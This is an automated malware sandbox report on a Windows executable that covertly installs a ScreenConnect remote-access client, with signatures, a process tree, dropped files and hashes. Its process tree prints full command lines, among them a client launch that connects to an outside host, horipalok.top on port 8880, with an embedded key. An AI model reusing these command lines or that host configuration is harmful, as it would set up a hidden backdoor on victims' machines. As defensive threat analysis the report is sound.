Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/07/2026, 23:40

General

  • Target
    8c7fda2a4b26d0c1a5f83096b4b27894bde05d8356d2611612a0d02d2e3be9fb.exe
  • Size 5.4MB
  • Sample260719-3nt6tsa16x
  • SHA256 8c7fda2a4b26d0c1a5f83096b4b27894bde05d8356d2611612a0d02d2e3be9fb
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 30 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\8c7fda2a4b26d0c1a5f83096b4b27894bde05d8356d2611612a0d02d2e3be9fb.exe
    "C:\Users\Admin\AppData\Local\Temp\8c7fda2a4b26d0c1a5f83096b4b27894bde05d8356d2611612a0d02d2e3be9fb.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4548
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.4.4.9118\f63a82ffaf9f93d1\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:4324
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4796
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 39F8857A5674F503A842D9BCB1D97FBB C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4440
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI1EAA.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240721859 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3256
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5896
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding FC55438C684F810D9E600DDDF6E4F278
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3692
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 78E113A6D89BA74A10FA26E5979FA110 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1472
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:1988
    • C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=horipalok.top&p=8880&s=48c62c26-d409-411c-a0a4-66d74ef48dc3&k=BgIAAACkAABSU0ExAAgAAAEAAQC5i6EfahOoc3QJNQtEoGwqZbCdopTN7JMVjs5O2byWcszBbL9cw0U4eUAs0OfTt9zZBA51cfc1w581kiibjAnZuVNxs1sd0hmNAlDUk8pZ2rgBfiLVbCX8Xr1w7PENGbO62O6bYrnCoADRGOrbDkAsD9fXZvt2bcWgAUfWsucxub7vyrOHFlg0dGlPivlEPgqdF06XmDqhbJaT9SNeX8GX5MokmbYgNKFgw6gHkSYgO0gvGbbWewnftVekpiuFyJ1lPJvWo313f7bPZObMNedjqO8FM2Aja0gP8dtuw0AiY1EQOgSCC3o1fZAlfG4Li1yubMjusmlWyPSc3o3fusib&t=30march"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:3148
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3148 -s 1336
        2⤵
        • Program crash
        PID:4848
    • C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=horipalok.top&p=8880&s=48c62c26-d409-411c-a0a4-66d74ef48dc3&k=BgIAAACkAABSU0ExAAgAAAEAAQC5i6E%2fahOoc3QJNQtEoGwqZ%2bCdopTN7JMVjs5O2%2byWcszBbL9cw0U4eUAs0O%2fTt9zZBA51c%2fc1w581kiibjAnZuVNxs1sd0hmNAlDUk8pZ2rgBfiLV%2bCX8Xr1w7PENGbO62O6bYrnCoADRGOr%2bDkAsD9fXZvt2bcWgAU%2fWsucxub7vyrOHFlg0dGlPivlEPgqdF06XmDqh%2bJaT9SNeX8GX5MokmbYgNKFgw6gHkSYgO0gvGb%2bWewn%2ftVekpiuFyJ1lPJvWo313f7%2bPZObMNedjqO8FM2Aja0gP8dtuw0AiY1EQOgSCC3o1fZAl%2fG4Li1yubMjusmlWyPSc3o3%2fusi%2b&t=30march"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1688
      • C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.WindowsClient.exe" "RunRole" "801e6218-bdc4-4d9b-9aee-73e9aae5f801" "User"
        2⤵
        • Executes dropped EXE
        PID:4204
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 3148 -ip 3148
      1⤵
        PID:4832

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e5974d9.rbs

            • Path C:\Config.Msi\e5974d9.rbs
            • Size 214KB
            • SHA256 42d01b096d1e5c4e991fedf028e010ebdf339372b2adf4c32349a1013788424d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.Override.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\Client.Override.en-US.resources
            • Size 673B
            • SHA256 05fd879a17ea524af81b989de294570d3bf1912f6aae8ed70afab0fcb3d0f825
            • MD5 SHA1 SHA512 TLSH

            Client.Override.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\Client.Override.resources
            • Size 39KB
            • SHA256 9e970ca044e2bf0efe70ae4080708503017b28a759bab7436c268af3ac92c8bb
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\Client.en-US.resources
            • Size 48KB
            • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\Client.resources
            • Size 26KB
            • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 8872211a8f4ff520d9d3342ed3841eb6fe42f6d83a0f639f6baf84795da99de2
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.ClientService.dll
            • Size 67KB
            • SHA256 42e0add27d20e2393f9793197798ac7d374812a6dcd290b153f879a201e546af
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 ea1cfad9596a150beb04e81f84fa68f1af8905847503773570c901167be8bf39
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.WindowsClient.exe
            • Size 588KB
            • SHA256 08efe3e41bd508e2e9c3f8cf4d466cb1c96c35c1b463e79f2a24ac031ab79b48
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 832KB
            • SHA256 86432f33567ef172674fd7a828afa6a62e9d90efc8dba6199d803b0888d35e1b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\app.config
            • Size 3KB
            • SHA256 f1a3457e307d721ef5b63fdb0d5e13790968276862ef043fb62cce43204606df
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\system.config
            • Size 949B
            • SHA256 bf9a4f97ef23b29abfadfed96522a6988075a4a4bde3cb39fedbb81a376dddba
            • MD5 SHA1 SHA512 TLSH

            MSI1EAA.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSI1EAA.tmp
            • Size 1.0MB
            • SHA256 db51e4b70f27d0bf28789ea3345bf693035916461d22661c26f149c5bc8891ed
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI1EAA.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI1EAA.tmp-\ScreenConnect.Core.dll
            • Size 537KB
            • SHA256 8377a87625c04ca5d511ceec91b8c029f9901079abf62cf29cf1134c99fa2662
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI1EAA.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 d09447d4816e248c16891361d87019156cc7664b213357a8e6c422484b8d6b4e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI1EAA.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 2659f660691d65628d2fcc3bfc334686cd053f162cdb73bf7a0da0ac6449db92
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientSetup.msi

            • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.4.4.9118\f63a82ffaf9f93d1\ScreenConnect.ClientSetup.msi
            • Size 12.9MB
            • SHA256 5c8035050aca8cefa9ac81613fd1a4e450997a80df8195fc3b1939817df5e702
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSI7BFD.tmp

            • Path C:\Windows\Installer\MSI7BFD.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 3b9fa3c54c240c119d4211ca3c2c10d8bbf50f67b1634260f203ecf126b823b8
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {d3018f5b-d47f-45fb-a783-1ffbd372bc5a}_OnDiskSnapshotProp

            • Path \??\Volume{c61f8367-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{d3018f5b-d47f-45fb-a783-1ffbd372bc5a}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 f4cdca138840049d7a0ba3e3cd278a202ddc612315646c3c5f043f90127a4b84
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1688-128-0x0000000004CC0000-0x0000000004D01000-memory.dmp

            memory/1688-130-0x0000000004F50000-0x0000000005025000-memory.dmp

            memory/1688-120-0x0000000004C30000-0x0000000004C80000-memory.dmp

            memory/1688-126-0x0000000004D60000-0x0000000004DF2000-memory.dmp

            memory/1688-125-0x0000000004C80000-0x0000000004CB6000-memory.dmp

            memory/3148-88-0x0000000002D30000-0x0000000002D48000-memory.dmp

            memory/3256-44-0x0000000005880000-0x0000000005A2C000-memory.dmp

            memory/3256-40-0x0000000005640000-0x00000000056CC000-memory.dmp

            memory/3256-36-0x00000000034D0000-0x00000000034DA000-memory.dmp

            memory/3256-32-0x0000000003490000-0x00000000034BE000-memory.dmp

            memory/4204-138-0x0000000000F80000-0x0000000001016000-memory.dmp

            memory/4204-139-0x00000000018A0000-0x00000000018D6000-memory.dmp

            memory/4204-144-0x0000000001900000-0x0000000001918000-memory.dmp

            memory/4204-143-0x0000000001880000-0x0000000001898000-memory.dmp

            memory/4204-142-0x000000001C600000-0x000000001C788000-memory.dmp

            memory/4204-141-0x000000001C2C0000-0x000000001C46C000-memory.dmp

            memory/4204-140-0x000000001BD40000-0x000000001BDCC000-memory.dmp

            memory/4548-5-0x0000000005AD0000-0x0000000005C7C000-memory.dmp

            memory/4548-7-0x00000000065F0000-0x0000000006BAA000-memory.dmp

            memory/4548-2-0x0000000005D40000-0x0000000006030000-memory.dmp

            memory/4548-0-0x0000000074BD2000-0x0000000074BD3000-memory.dmp

            memory/4548-1-0x0000000001A60000-0x0000000001A68000-memory.dmp

            memory/4548-6-0x0000000074BC0000-0x000000007537C000-memory.dmp

            memory/4548-8-0x0000000074BC0000-0x000000007537C000-memory.dmp

            memory/4548-3-0x0000000005A40000-0x0000000005ACC000-memory.dmp

            memory/4548-10-0x0000000074BC0000-0x000000007537C000-memory.dmp

            memory/4548-9-0x0000000074BC0000-0x000000007537C000-memory.dmp

            memory/4548-4-0x00000000032E0000-0x0000000003302000-memory.dmp

            memory/4548-13-0x0000000074BC0000-0x000000007537C000-memory.dmp

            memory/4796-145-0x000001BF35350000-0x000001BF35697000-memory.dmp

            memory/4796-49-0x000001BF35350000-0x000001BF35697000-memory.dmp